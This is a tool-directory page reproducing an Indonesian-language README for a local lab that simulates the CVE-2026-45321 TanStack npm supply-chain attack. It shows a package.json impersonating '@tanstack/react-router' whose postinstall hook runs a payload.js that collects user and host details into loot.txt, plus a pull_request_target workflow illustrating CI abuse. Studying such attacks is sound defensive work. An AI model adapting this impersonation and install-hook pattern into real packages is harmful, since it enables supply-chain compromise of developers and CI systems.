Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-45321-Tanstack | Kitploit
Tools/GitHubGitHub/renewablehacking/cve-2026-45321-tanstack
Vulnerability AnalysisMalware AnalysisSupply Chain SecurityLearning & EducationLabs & Practice
GitHubrenewablehacking/cve-2026-45321-tanstack

CVE-2026-45321-Tanstack

View Repository
2 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Simulasi Supply Chain Attack — CVE-2026-45321 (TanStack)

Educational Lab for Understanding npm Supply Chain Attacks, CI/CD Abuse, and Install-Time Code Execution

Disclaimer

Project ini dibuat hanya untuk:

  • pembelajaran keamanan siber,
  • riset defensive security,
  • simulasi local lab,
  • memahami konsep supply chain attack.

Jangan gunakan project ini untuk:

  • menyerang sistem nyata,
  • mencuri credential,
  • malware deployment,
  • unauthorized access,
  • atau aktivitas ilegal lainnya.

Deskripsi

Lab ini mensimulasikan konsep dasar dari insiden:

  • CVE-2026-45321
  • TanStack npm Supply Chain Compromise
  • GitHub Actions CI/CD Abuse
  • npm Lifecycle Script Execution

Simulasi dilakukan secara lokal dan aman tanpa:

  • credential stealing nyata,
  • token exfiltration,
  • atau kompromi layanan pihak ketiga.

Struktur Lab

root@kitploit:~
lab/
├── fake-repo/          # Simulasi repository target
├── attacker-package/   # Simulasi package malicious
└── victim-project/     # Simulasi korban

Cara Kerja Simulasi

root@kitploit:~
Attacker Package
        ↓
npm install
        ↓
postinstall script berjalan
        ↓
payload.js dieksekusi otomatis
        ↓
Korban terkena install-time execution

Konsep yang Dipelajari

  • npm lifecycle hooks
  • install-time arbitrary code execution
  • supply chain attack
  • CI/CD trust boundary
  • malicious npm package
  • postinstall abuse
  • dependency compromise

Instalasi

1. Clone Repository

root@kitploit:~
git clone https://github.com/renewablehacking/CVE-2026-45321-Tanstack.git

cd CVE-2026-45321-Tanstack

Setup Attacker Package

2. Masuk ke Folder Attacker Package

root@kitploit:~
cd attacker-package

3. Install Dependency

root@kitploit:~
npm install

4. Build Tarball Package

root@kitploit:~
npm pack

Hasil:

root@kitploit:~
tanstack-react-router-1.169.5.tgz

Simulasi Victim

5. Masuk ke Victim Project

root@kitploit:~
cd ../victim-project

6. Install Malicious Package

root@kitploit:~
npm install ../attacker-package/tanstack-react-router-1.169.5.tgz --foreground-scripts

Output

Jika berhasil maka akan muncul:

root@kitploit:~
=== MALICIOUS PAYLOAD EXECUTED ===

dan file:

root@kitploit:~
loot.txt

akan dibuat secara otomatis.


Contoh payload.js

root@kitploit:~
const os = require('os');
const fs = require('fs');

console.log("=== MALICIOUS PAYLOAD EXECUTED ===");

const info = `
USER=${process.env.USER}
HOST=${os.hostname()}
PLATFORM=${os.platform()}
`;

console.log(info);

fs.writeFileSync("loot.txt", info);

Contoh package.json

root@kitploit:~
{
  "name": "@tanstack/react-router",
  "version": "1.169.5",
  "scripts": {
    "postinstall": "node payload.js"
  }
}

Simulasi CI/CD

Project ini juga dapat digunakan untuk memahami:

  • GitHub Actions
  • pull_request_target
  • CI/CD privilege boundary
  • dependency execution

Contoh workflow:

root@kitploit:~
name: CI

on:
  pull_request_target:

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
      - uses: actions/checkout@v4

      - run: npm install

Hubungan dengan CVE-2026-45321

Simulasi LabDunia Nyata
attacker-packagecompromised TanStack package
payload.jsmalicious installer
postinstall

Referensi

  • https://nvd.nist.gov/vuln/detail/CVE-2026-45321
  • https://tanstack.com/blog/npm-supply-chain-compromise-postmortem
  • https://docs.npmjs.com/cli/v10/using-npm/scripts
  • https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions

Educational Purpose Only

Lab ini dibuat untuk meningkatkan awareness mengenai:

  • keamanan supply chain,
  • keamanan dependency,
  • keamanan CI/CD,
  • dan defensive security research.
Download Tool
lifecycle hook abuse
victim-projectdeveloper/CI korban
fake-repoGitHub Actions pipeline